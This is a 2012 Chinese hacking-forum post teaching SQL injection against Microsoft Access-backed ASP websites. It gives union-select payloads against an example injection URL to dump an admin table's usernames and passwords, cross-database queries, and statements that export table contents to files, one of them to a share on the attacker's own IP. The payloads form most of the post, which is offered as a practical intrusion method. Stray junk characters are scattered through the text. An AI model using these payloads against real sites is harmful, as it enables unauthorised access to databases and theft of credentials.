找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2344|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
6 s7 O5 ]9 G+ _) [$ lunion查询法  N- t1 I8 x: S) ~4 ]8 K  T( Q8 A8 [
首先要说的就是查询办法,一般的查询办法就是
2 {5 @1 U' }7 @. H( T9 i' g! M' j+ v; |1 m3 c& o
程序代码5 u) `" s+ x) H  n5 {
and 1=(select count(*) from admin where left(id,1)='1')
( G% J6 i$ c+ d
3 j* T7 w( U+ e9 a0 m3 u6 n6 p这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
9 T. u6 a  [+ c3 |2 Z* m; G所以这个时候,union select横空出现.别以为只能在PHP里用哦...
5 E4 c9 v8 Z) V# B譬如你有一个ACCESS点:
  B' l% |9 Z# c# v: v& O程序代码6 {! Q3 O, r4 F0 L7 g& R. J2 l6 z8 A
http://bbs.tian6.com/xiaoyang.asp?coder=1# l% }- E/ g; W' C4 \( K; y0 U
! f, j+ u7 ~, P- d
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
9 o0 U* S% u1 L: O5 L然后我们直接来:
8 O9 y; M* Z  }8 b' z程序代码
1 f) Z8 y; G2 K7 N- `$ \/ U5 ~http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
# m3 s& m3 _' [/ }; F, V) ?3 j2 s5 [; A8 S3 a4 D- S4 e- k
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.' z$ `6 \6 L' f7 x3 _. X! B$ w
: c) E: w0 x$ @9 U

& i4 s' I& F% z2 E9 h1 |# V8 A, N
---------------------------------------------------------------% ~2 ~% U6 v- H* G$ D* D
Access跨库查询8 A1 p. c8 H( l. u, f7 R
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
( p: m- T. y5 D/ J5 R跨库的查询语句:
$ j( f4 p2 u( _( s% O. U子查询:7 c; `* g5 ~+ `3 O' I" E
程序代码3 [2 C, O. }: w) L4 Q9 h
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0& N5 I3 \* b- \) B/ \

* Y3 k  H! t% y3 _& Punion查询:9 w2 T+ o# Z+ g$ ?9 s9 a
程序代码! X# E0 S& |+ v! \* f5 E
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
8 q& u- f5 M8 d2 Y
+ }4 ?) _* b) R2 R$ _+ i* f跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
, w. b7 d/ f& `4 J& B4 x程序代码  C5 c, h6 t" `$ N& J% w+ p0 e* \9 c
http://www.4ngel.net/article/46.htm * Z1 R6 ~! M( c2 u
http://hf110.com/Article/hack/rqsl/200502/66.html& S. |1 O/ _/ P* c6 ^4 C
/ ?4 j  ~* \6 ~" W( i" C% S' }  ?7 b
---------------------------------------------------------------& A/ d$ f: c! u! a/ W: b
Access注入,导出txt,htm,html
0 `. C5 U/ H3 z, k9 L9 Z8 o子查询语句:3 D% C' ~2 o0 w4 F5 P
程序代码
' B. U/ T/ E0 I- h+ S/ R0 _Select * into [test.txt] in 'd:\web\' 'text;' from admin
5 N! ]4 [9 _) Y2 O7 j1 t
( t. m, F* L- g8 U) _' [这样就把admin表的内容以test类型存进了d:\web里面.! X# q1 n1 s4 B7 }$ _
UNION查询:" e* c4 y% v& \: |1 e' m) S9 J/ I
程序代码
0 B( r0 B. i; m/ ]. V% zunion select * into [admin.txt] in 'c:\' 'test;' from admin
& W0 R, n: q& J  I& T  O
2 F2 h0 `/ B$ r5 Z/ e  s: f4 _" q而且这里也可以保存到本地来:
1 p' j7 ~; G: g$ s- @3 O程序代码  x5 O" r( G- Y$ O
Select * into [test.txt] in '\\yourip\share' 'text;' from admin4 j+ |$ X  M* y! E& O
- b% |# W5 s+ p/ i) L8 S% Y$ r4 V
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
9 i4 E) \$ K: z' O* n' a7 K$ E7 V. @! A8 d/ k" ]
程序代码
9 y9 O: l/ C! t7 I( G0 n. Thttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D70 o5 i2 J* y  E9 }* @' A

0 k3 z! N+ r- M! d因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.) O, B7 {# a4 e5 [; B: _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表